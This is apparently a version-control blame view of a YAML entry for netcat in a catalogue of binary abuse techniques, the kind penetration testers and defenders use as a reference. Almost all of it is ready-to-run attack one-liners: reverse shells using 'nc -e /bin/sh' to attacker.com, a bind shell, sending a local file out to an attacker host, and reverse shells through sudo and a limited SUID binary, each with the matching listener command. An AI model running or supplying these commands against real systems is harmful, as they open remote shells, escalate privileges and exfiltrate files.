2018-05-21 21:14:41 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-10-05 19:55:38 +02:00
|
|
|
reverse-shell:
|
2018-07-22 16:35:26 +02:00
|
|
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
|
2018-07-16 15:01:50 +02:00
|
|
|
code: |
|
|
|
|
RHOST=attacker.com
|
|
|
|
RPORT=12345
|
|
|
|
nc -e /bin/sh $RHOST $RPORT
|
2018-10-05 19:55:38 +02:00
|
|
|
bind-shell:
|
2018-07-22 16:35:26 +02:00
|
|
|
- description: Run `nc target.com 12345` on the attacker box to connect to the shell. This only works with netcat traditional.
|
2018-07-16 15:01:50 +02:00
|
|
|
code: |
|
|
|
|
LPORT=12345
|
|
|
|
nc -l -p $LPORT -e /bin/sh
|
2018-10-05 19:55:38 +02:00
|
|
|
file-upload:
|
2019-07-29 16:41:49 +02:00
|
|
|
- description: Send a local file via TCP. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
2018-07-16 15:01:50 +02:00
|
|
|
code: |
|
|
|
|
RHOST=attacker.com
|
|
|
|
RPORT=12345
|
|
|
|
LFILE=file_to_send
|
|
|
|
nc $RHOST $RPORT < "$LFILE"
|
2018-10-05 19:55:38 +02:00
|
|
|
file-download:
|
2019-07-29 16:41:49 +02:00
|
|
|
- description: Fetch a remote file via TCP. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file.
|
2018-07-16 15:01:50 +02:00
|
|
|
code: |
|
|
|
|
LPORT=12345
|
|
|
|
LFILE=file_to_save
|
|
|
|
nc -l -p $LPORT > "$LFILE"
|
2018-10-05 19:55:38 +02:00
|
|
|
sudo:
|
2018-07-22 16:35:26 +02:00
|
|
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
|
2018-07-22 16:34:05 +02:00
|
|
|
code: |
|
|
|
|
RHOST=attacker.com
|
|
|
|
RPORT=12345
|
2018-07-22 16:42:43 +02:00
|
|
|
sudo nc -e /bin/sh $RHOST $RPORT
|
2018-10-05 19:55:38 +02:00
|
|
|
limited-suid:
|
2018-07-22 16:35:26 +02:00
|
|
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
|
2018-07-22 16:34:05 +02:00
|
|
|
code: |
|
|
|
|
RHOST=attacker.com
|
|
|
|
RPORT=12345
|
2018-07-22 16:42:43 +02:00
|
|
|
./nc -e /bin/sh $RHOST $RPORT
|
2018-05-21 21:14:41 +02:00
|
|
|
---
|